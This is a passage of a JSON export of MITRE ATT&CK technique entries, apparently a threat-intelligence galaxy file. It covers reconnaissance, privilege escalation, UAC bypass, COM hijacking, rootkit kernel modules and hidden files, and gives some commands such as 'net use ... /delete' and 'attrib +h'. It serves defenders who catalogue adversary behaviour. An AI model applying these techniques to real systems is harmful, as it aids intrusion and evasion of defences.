"description": "Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
"meta": {
"external_id": "T1590",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1590",
"https://dnsdumpster.com/",
"https://www.circl.lu/services/passive-dns/",
"https://www.whois.net/"
]
},
"uuid": "9d48cab2-7929-4812-ad22-f536665f0109",
"value": "Gather Victim Network Information - T1590"
},
{
"description": "If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use [Software Packing](https://attack.mitre.org/techniques/T1045) or otherwise modify the file so it has a different signature, and then re-use the malware.",
"meta": {
"external_id": "T1066",
"refs": [
"https://attack.mitre.org/techniques/T1066"
]
},
"related": [
{
"dest-uuid": "b0533c6e-8fea-4788-874f-b799cacc4b92",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "00d0b012-8a03-410e-95de-5826bf542de6",
"value": "Indicator Removal from Tools - T1066"
},
{
"description": "Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.\n\nAdversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570).",
"meta": {
"external_id": "T1068",
"kill_chain": [
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Driver: Driver Load"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows",
"Containers"
],
"refs": [
"https://attack.mitre.org/techniques/T1068",
"https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules",
"https://unit42.paloaltonetworks.com/acidbox-rare-malware/",
"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
]
},
"uuid": "b21c3b2d-02e6-45b1-980b-e69051040839",
"value": "Exploitation for Privilege Escalation - T1068"
},
{
"description": "Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)\n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)",
"meta": {
"external_id": "T1088",
"refs": [
"http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass",
"http://www.pretentiousname.com/misc/win7_uac_whitelist2.html",
"https://attack.mitre.org/techniques/T1088",
"https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware",
"https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/",
"https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/",
"https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/",
"https://github.com/hfiref0x/UACME",
"https://msdn.microsoft.com/en-us/library/ms679687.aspx",
"https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx",
"https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works"
]
},
"related": [
{
"dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be",
"value": "Bypass User Account Control - T1088"
},
{
"description": "Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.\n\nAdversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.",
"meta": {
"external_id": "T1211",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_platforms": [
"Linux",
"Windows",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1211"
]
},
"uuid": "fe926152-f431-4baf-956c-4ad3cb0bf23b",
"value": "Exploitation for Defense Evasion - T1211"
},
{
"description": "Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.\n\nExecution granted through EWM injection may take place in the address space of a separate live process. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)",
"meta": {
"external_id": "T1181",
"refs": [
"https://attack.mitre.org/techniques/T1181",
"https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx",
"https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx",
"https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx",
"https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx",
"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
"https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html",
"https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/"
]
},
"related": [
{
"dest-uuid": "0042a9f5-f053-4769-b3ef-9ad018dfa298",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "52f3d5a6-8a0f-4f82-977e-750abf90d0b0",
"value": "Extra Window Memory Injection - T1181"
},
{
"description": "Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.",
"meta": {
"external_id": "T1212",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_platforms": [
"Linux",
"Windows",
"macOS"
],
"refs": [
"https://adsecurity.org/?p=1515",
"https://attack.mitre.org/techniques/T1212",
"https://technet.microsoft.com/en-us/library/security/ms14-068.aspx"
]
},
"uuid": "9c306d8d-cde7-4b4c-b6e8-d0bb16caca36",
"value": "Exploitation for Credential Access - T1212"
},
{
"description": "The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.",
"meta": {
"external_id": "T1122",
"refs": [
"https://attack.mitre.org/techniques/T1122",
"https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence",
"https://msdn.microsoft.com/library/ms694363.aspx",
"https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com"
]
},
"related": [
{
"dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "9b52fca7-1a36-4da0-b62d-da5bd83b4d69",
"value": "Component Object Model Hijacking - T1122"
},
{
"description": "Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization. \n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n\nInformation stored in a repository may vary based on the specific instance or environment. Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server.",
"meta": {
"external_id": "T1213",
"kill_chain": [
"mitre-attack:collection"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Logon Session: Logon Session Creation"
],
"mitre_platforms": [
"Linux",
"Windows",
"macOS",
"SaaS",
"Office 365",
"Google Workspace",
"IaaS"
],
"refs": [
"https://attack.mitre.org/techniques/T1213",
"https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html",
"https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events",
"https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2"
]
},
"uuid": "d28ef391-8ed4-45dc-bc4a-2f43abf54416",
"value": "Data from Information Repositories - T1213"
},
{
"description": "On Android, applications can use standard APIs to gather a list of network connections to and from the device. For example, the Network Connections app available in the Google Play Store (Citation: ConnMonitor) advertises this functionality.",
"meta": {
"external_id": "T1421",
"kill_chain": [
"mitre-mobile-attack:discovery"
],
"mitre_platforms": [
"Android"
],
"refs": [
"https://attack.mitre.org/techniques/T1421",
"https://play.google.com/store/apps/details?id=com.antispycell.connmonitor&hl=en"
]
},
"uuid": "dd818ea5-adf5-41c7-93b5-f3b839a219fb",
"value": "System Network Connections Discovery - T1421"
},
{
"description": "Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)\n\nCommon features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)",
"meta": {
"external_id": "T1215",
"refs": [
"http://tldp.org/HOWTO/Module-HOWTO/x197.html",
"http://www.megasecurity.org/papers/Rootkits.pdf",
"http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html",
"https://attack.mitre.org/techniques/T1215",
"https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux",
"https://github.com/f0rb1dd3n/Reptile",
"https://github.com/m0nad/Diamorphine",
"https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/",
"https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html",
"https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/",
"https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/",
"https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
]
},
"related": [
{
"dest-uuid": "a1b52199-c8c5-438a-9ded-656f1d0888c6",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "6be14413-578e-46c1-8304-310762b3ecd5",
"value": "Kernel Modules and Extensions - T1215"
},
{
"description": "Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote build request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)\n\nAn adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it’s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. ",
"meta": {
"external_id": "T1612",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Image: Image Creation",
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Containers"
],
"refs": [
"https://attack.mitre.org/techniques/T1612",
"https://blog.aquasec.com/malicious-container-image-docker-container-host",
"https://docs.docker.com/engine/api/v1.41/#operation/ImageBuild",
"https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation"
]
},
"uuid": "800f9819-7007-4540-a520-40e655876800",
"value": "Build Image on Host - T1612"
},
{
"description": "Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete command. (Citation: Technet Net Use)\n\n",
"meta": {
"external_id": "T1126",
"refs": [
"https://attack.mitre.org/techniques/T1126",
"https://technet.microsoft.com/bb490717.aspx"
]
},
"related": [
{
"dest-uuid": "a750a9f6-0bde-4bb3-9aae-1e2786e9780c",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "e7eab98d-ae11-4491-bd28-a53ba875865a",
"value": "Network Share Connection Removal - T1126"
},
{
"description": "Adversaries may use scripts signed with trusted certificates to proxy execution of malicious files. Several Microsoft signed scripts that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)",
"meta": {
"external_id": "T1216",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation",
"Script: Script Execution"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1216",
"https://github.com/api0cradle/UltimateAppLockerByPassList"
]
},
"uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe",
"value": "Signed Script Proxy Execution - T1216"
},
{
"description": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed binaries. Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files.",
"meta": {
"external_id": "T1218",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"Module: Module Load",
"Network Traffic: Network Connection Creation",
"Process: OS API Execution",
"Process: Process Creation",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1218"
]
},
"uuid": "457c7820-d331-465a-915e-42f85500ccc4",
"value": "Signed Binary Proxy Execution - T1218"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1341).\n\nFor attacks incorporating social engineering the utilization of an on-line persona is important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites ([Facebook](https://www.facebook.com), [LinkedIn](https://www.linkedin.com), [Twitter](https://twitter.com), [Google+](https://plus.google.com), etc.). (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)",
"meta": {
"external_id": "T1341",
"kill_chain": [
"mitre-pre-attack:persona-development"
],
"refs": [
"http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf",
"https://attack.mitre.org/techniques/T1341",
"https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"
]
},
"uuid": "9108e212-1c94-4f8d-be76-1aad9b4c86a4",
"value": "Build social network persona - T1341"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1351).\n\nA remote access tool (RAT) is a piece of software that allows a remote user to control a system as if they had physical access to that system. An adversary may utilize existing RATs, modify existing RATs, or create their own RAT. (Citation: ActiveMalwareEnergy)",
"meta": {
"external_id": "T1351",
"kill_chain": [
"mitre-pre-attack:build-capabilities"
],
"refs": [
"https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/",
"https://attack.mitre.org/techniques/T1351"
]
},
"uuid": "9755ecdc-deb0-40e6-af49-713cb0f8ed92",
"value": "Remote access tool development - T1351"
},
{
"description": "Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.\n\nThese resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may leak information about the environment, such as the environment’s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary’s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution. ",
"meta": {
"external_id": "T1613",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Cluster: Cluster Metadata",
"Container: Container Enumeration",
"Container: Container Metadata",
"Pod: Pod Enumeration",
"Pod: Pod Metadata"
],
"mitre_platforms": [
"Containers"
],
"refs": [
"https://attack.mitre.org/techniques/T1613",
"https://docs.docker.com/engine/api/v1.41/",
"https://kubernetes.io/docs/concepts/overview/kubernetes-api/"
]
},
"uuid": "0470e792-32f8-46b0-a351-652bc35e9336",
"value": "Container and Resource Discovery - T1613"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1317).\n\nAn adversary may secure and protect their infrastructure just as defenders do. This could include the use of VPNs, security software, logging and monitoring, passwords, or other defensive measures. (Citation: KrebsTerracottaVPN)",
"meta": {
"external_id": "T1317",
"kill_chain": [
"mitre-pre-attack:adversary-opsec"
],
"refs": [
"https://attack.mitre.org/techniques/T1317"
]
},
"uuid": "cc0faf66-4df2-4328-9c9c-b0ca5de915ad",
"value": "Secure and protect infrastructure - T1317"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1319).\n\nObfuscation is the act of creating code that is more difficult to understand. Encoding transforms the code using a publicly available format. Encryption transforms the code such that it requires a key to reverse the encryption. (Citation: CylanceOpCleaver)",
"meta": {
"external_id": "T1319",
"kill_chain": [
"mitre-pre-attack:adversary-opsec"
],
"refs": [
"https://attack.mitre.org/techniques/T1319"
]
},
"uuid": "357e137c-7589-4af1-895c-3fbad35ea4d2",
"value": "Obfuscate or encrypt code - T1319"
},
{
"description": "Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)",
"meta": {
"external_id": "T1514",
"refs": [
"https://attack.mitre.org/techniques/T1514",
"https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg",
"https://objective-see.com/blog/blog_0x2A.html",
"https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8",
"https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/"
]
},
"related": [
{
"dest-uuid": "b84903f0-c7d5-435d-a69e-de47cc3578c0",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "101c3a64-9ba5-46c9-b573-5c501053cbca",
"value": "Elevated Execution with Prompt - T1514"
},
{
"description": "An adversary may encrypt files stored on the mobile device to prevent the user from accessing them, for example with the intent of only unlocking access to the files after a ransom is paid. Without escalated privileges, the adversary is generally limited to only encrypting files in external/shared storage locations. This technique has been demonstrated on Android. We are unaware of any demonstrated use on iOS.",
"meta": {
"external_id": "APP-28",
"kill_chain": [
"mitre-mobile-attack:impact"
],
"mitre_platforms": [
"Android"
],
"refs": [
"https://attack.mitre.org/techniques/T1471",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html"
]
},
"uuid": "d9e88203-2b5d-405f-a406-2933b1e3d7e4",
"value": "Data Encrypted for Impact - T1471"
},
{
"description": "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\n### Windows\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.\n\n### Linux/Mac\n\nUsers can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application.\n\n### Mac\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).\nMany applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.",
"meta": {
"external_id": "T1158",
"refs": [
"https://attack.mitre.org/techniques/T1158",
"https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
"https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf"
]
},
"related": [
{
"dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "dc27c2ec-c5f9-4228-ba57-d67b590bda93",
"value": "Hidden Files and Directories - T1158"
},
{
"description": "Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted 